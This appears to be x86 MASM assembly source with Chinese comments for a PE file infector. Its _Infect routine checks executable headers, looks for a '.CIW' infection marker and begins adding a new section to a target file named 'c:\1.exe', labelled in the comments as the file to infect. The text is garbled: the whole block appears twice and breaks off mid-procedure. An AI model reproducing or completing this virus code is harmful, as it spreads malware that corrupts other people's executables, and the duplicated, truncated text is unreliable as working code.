.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
;************************************************************************
.data
szSectionName db '.CIW',0
szSrcFileName db 'c:\1.exe',0 ;要感染的文件名
szMsgText db '该文件已经感染过.',0
szMsgCaption db '提示',0
szFindFileName db 'c:\',0
;************************************************************************
.data?
hFile dd ?
lpMemory dd ?
szDriveName db 26 dup(?)
szBuffer1 db 26 * 4 + 1 dup(?)
;************************************************************************
.code
include AddCode.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;感染 Pe 文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Infect proc _lpHead, _lpPEHead
LOCAL @lpMemory, @dwAddCodeBase, @dwAddCodeFile, @dwOldEntry, @dwTemp, @dwSecNum
LOCAL @szSecName[10] :byte
mov esi, _lpPEHead ;旧的PE头
assume esi: ptr IMAGE_NT_HEADERS
;***************************** 是不是PE文件 ********************************
mov edi, _lpHead
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic != IMAGE_DOS_SIGNATURE
jmp _Ret
.endif
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _Ret
.endif
;***************************** 是否感染过了 ***********************************
mov edi, esi
movzx ecx, [esi].FileHeader.NumberOfSections
mov @dwSecNum, ecx
add edi, IMAGE_NT_HEADERS
assume edi: ptr IMAGE_SECTION_HEADER
.while ecx
invoke RtlMoveMemory, addr @szSecName, addr [edi].Name1, 8
invoke lstrcmp, addr @szSecName, offset szSectionName
.if !eax
; invoke MessageBox, NULL, offset szMsgText, \
; offset szMsgCaption, MB_OK or MB_ICONERROR
jmp _Ret
.endif
add edi, IMAGE_SECTION_HEADER
dec @dwSecNum
mov ecx, @dwSecNum
.endw
;****************************************************************************
invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间
mov @lpMemory, eax
invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头
movzx ecx, [esi].FileHeader.NumberOfSections
dec ecx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ;eax -> 最后一个节表头
mov edi, @lpMemory ;新DOS头
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew ;新PE头
assume edi: ptr IMAGE_NT_HEADERS
mov ebx, edi
add ebx, IMAGE_NT_HEADERS ;新的第一个节表头
mov edx, ebx
add edx, eax ;edx 最后一个节表头
mov ebx, edx
add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾
assume edx: ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_SECTION_HEADER
pushad
xor eax, eax
mov edi, ebx
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
;************************************************************************
.data
szSectionName db '.CIW',0
szSrcFileName db 'c:\1.exe',0 ;要感染的文件名
szMsgText db '该文件已经感染过.',0
szMsgCaption db '提示',0
szFindFileName db 'c:\',0
;************************************************************************
.data?
hFile dd ?
lpMemory dd ?
szDriveName db 26 dup(?)
szBuffer1 db 26 * 4 + 1 dup(?)
;************************************************************************
.code
include AddCode.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;感染 Pe 文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Infect proc _lpHead, _lpPEHead
LOCAL @lpMemory, @dwAddCodeBase, @dwAddCodeFile, @dwOldEntry, @dwTemp, @dwSecNum
LOCAL @szSecName[10] :byte
mov esi, _lpPEHead ;旧的PE头
assume esi: ptr IMAGE_NT_HEADERS
;***************************** 是不是PE文件 ********************************
mov edi, _lpHead
assume edi: ptr IMAGE_DOS_HEADER
.if [edi].e_magic != IMAGE_DOS_SIGNATURE
jmp _Ret
.endif
.if [esi].Signature != IMAGE_NT_SIGNATURE
jmp _Ret
.endif
;***************************** 是否感染过了 ***********************************
mov edi, esi
movzx ecx, [esi].FileHeader.NumberOfSections
mov @dwSecNum, ecx
add edi, IMAGE_NT_HEADERS
assume edi: ptr IMAGE_SECTION_HEADER
.while ecx
invoke RtlMoveMemory, addr @szSecName, addr [edi].Name1, 8
invoke lstrcmp, addr @szSecName, offset szSectionName
.if !eax
; invoke MessageBox, NULL, offset szMsgText, \
; offset szMsgCaption, MB_OK or MB_ICONERROR
jmp _Ret
.endif
add edi, IMAGE_SECTION_HEADER
dec @dwSecNum
mov ecx, @dwSecNum
.endw
;****************************************************************************
invoke GlobalAlloc, GPTR , [esi].OptionalHeader.SizeOfHeaders ;开辟新的空间
mov @lpMemory, eax
invoke RtlMoveMemory, eax, _lpHead,[esi].OptionalHeader.SizeOfHeaders ;复制旧头到新头
movzx ecx, [esi].FileHeader.NumberOfSections
dec ecx
mov eax, sizeof IMAGE_SECTION_HEADER
mul ecx ;eax -> 最后一个节表头
mov edi, @lpMemory ;新DOS头
assume edi: ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew ;新PE头
assume edi: ptr IMAGE_NT_HEADERS
mov ebx, edi
add ebx, IMAGE_NT_HEADERS ;新的第一个节表头
mov edx, ebx
add edx, eax ;edx 最后一个节表头
mov ebx, edx
add ebx, sizeof IMAGE_SECTION_HEADER ;ebx 最后一个节表尾
assume edx: ptr IMAGE_SECTION_HEADER
assume ebx: ptr IMAGE_SECTION_HEADER
pushad
xor eax, eax
mov edi, ebx